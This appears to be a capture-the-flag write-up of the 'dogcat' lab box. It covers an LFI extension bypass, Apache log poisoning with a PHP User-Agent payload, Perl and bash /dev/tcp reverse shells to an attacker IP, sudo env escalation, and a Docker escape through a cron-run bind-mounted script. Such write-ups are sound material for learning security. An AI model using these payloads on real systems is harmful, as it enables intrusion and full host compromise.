Search for a command to run...

fastmap is my custom nmap wrapper that runs a series of nmap scans and saves the results in an easy-to-read format. The code is available on my the secmachine-build GitHub repository.
fastmap dogcat.thm
Results:
The main application is a PHP-based image viewer that allows users to choose between dog or cat pictures. After poking around the site for a bit, I noticed it was vulnerable to Local File Inclusion (LFI) through the view parameter. However, the application was appending .php to file paths, which blocked straightforward LFI attempts.
&ext= Bypass TechniqueAfter some research, I found that the &ext= parameter can be used to bypass this protection. Basically, when the application automatically appends a file extension like .php to user input, adding &ext= at the end can trick the application into treating it as an empty extension.
How it works:
Normal request: http://dogcat.thm/index.php?file=cat
include("cat.php")But if we use this bypass:
http://dogcat.thm/index.php?file=../../../../etc/passwd&ext=
The application processes:
file parameter as ../../../../etc/passwd&ext= parameter as an empty extension../../../../etc/passwd instead of ../../../../etc/passwd.phpWhile researching, I learned about a few other methods:
%00 to terminate the string earlyphp://filter or zip:// to bypass filtersSo I decided to try log poisoning to get code execution. Here's what I did:
Step 1: Poison the Apache Access Logs
I injected PHP code into the User-Agent header:
curl -H "User-Agent: <?php system(\$_GET['cmd']);?>" http://dogcat.thm
Important note here: I had to use \$_GET with the escaped dollar sign because Apache already uses double quotes in the logs. If I didn't escape it, the code would break.
Step 2: Execute Commands Through LFI
Now I could access the poisoned log file and execute commands:
http://dogcat.thm/?view=cats/../../../../var/log/apache2/access.log&ext=&cmd=whoami
This worked! Time to get a reverse shell.
I used a URL-encoded Perl reverse shell payload:
perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.133.61%22%3B%24p%3D4444%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2Fbin%2Fbash%20-i%22%29%3B%7D%3B%27
Decoded version:
perl -e 'use Socket;$i="192.168.133.61";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
Got a shell back as www-data.
After landing on the box, I realized I was inside a Docker container. I started looking around and found something interesting in the Dockerfile:
RUN echo "www-data ALL = NOPASSWD: `which env`" >> /etc/sudoers
This means I could run env as root without needing a password. I remembered that env can be used to spawn a shell:
sudo env /bin/bash
And just like that, I had root access inside the container.
Now I needed to escape the container to get root on the actual host machine.
While enumerating as root in the container, I noticed something in /opt/backups:
root@3369215e9628:/opt/backups# ls -la
-rwxr--r-- 1 root root 69 Mar 10 2020 backup.sh
-rw-r--r-- 1 root root 2949120 Dec 17 08:58 backup.tar
I watched the backup.tar file for a minute and saw its timestamp changing:
-rw-r--r-- 1 root root 2949120 Dec 17 08:58 backup.tar
-rw-r--r-- 1 root root 2949120 Dec 17 08:59 backup.tar
So this script was being run every minute by something, probably a cron job.
backup.sh contents:
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
I extracted the backup.tar and found a launch.sh script:
#!/bin/bash
docker run -d -p 80:80 -v /root/container/backup:/opt/backups --rm box
This was the key. The host's /root/container/backup directory was mounted to /opt/backups inside the container. Since I was root inside the container (UID 0), and Linux uses the same user ID namespace, I could modify files in that directory and they would be executed by the host's root user when the cron job ran.
First, I wanted to confirm this would work. I modified backup.sh to ping my machine:
#!/bin/bash
ping 192.168.133.61 -c 4
Then I listened for ICMP traffic:
sudo tcpdump icmp -i tun0
After a minute, I got results:
10:06:02.515302 IP 10.81.191.173 > 192.168.133.61: ICMP echo request, id 3060, seq 1
10:06:02.515357 IP 192.168.133.61 > 10.81.191.173: ICMP echo reply, id 3060, seq 1
10:06:03.516842 IP 10.81.191.173 > 192.168.133.61: ICMP echo request, id 3060, seq 2
10:06:03.516857 IP 192.168.133.61 > 10.81.191.173: ICMP echo reply, id 3060, seq 2
Perfect! The host was executing my modified script.
Now I just needed to replace the ping command with a reverse shell:
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.133.61/4445 0>&1
I set up my listener and waited. After about a minute, I got a shell:
(remote) root@dogcat:/root# id
uid=0(root) gid=0(root) groups=0(root)
(remote) root@dogcat:/root# ls
container flag4.txt
(remote) root@dogcat:/root# cat flag4.txt
THM{REDACTED}
Game over.
LFI Bypass Techniques: The &ext= parameter is a clever way to bypass file extension filters in PHP applications. This works because it can nullify hardcoded extensions in the server-side code.
Log Poisoning: You can poison Apache access logs through the User-Agent header to achieve remote code execution when combined with LFI. Just remember to properly escape variables to avoid breaking the syntax.
Docker Privilege Escalation: Misconfigured sudoers entries are dangerous. Even something that seems harmless like NOPASSWD: env can be exploited to get root access using sudo env /bin/bash.
Docker Escape via Bind Mounts: This was really interesting. When a directory is bind-mounted from the host to a container, the root user inside the container (UID 0) shares the same user namespace as the host's root user. This means you can modify files that will be executed by the host's root, leading to a container escape.
Scheduled Tasks as Attack Vectors: Scripts that run regularly via cron can be leveraged for privilege escalation if you can modify them, especially when they run with elevated privileges.
This box was a great learning experience for understanding Docker security and how containers aren't always as isolated as you might think. The privilege escalation chain was really satisfying to work through, especially figuring out the bind mount escape vector.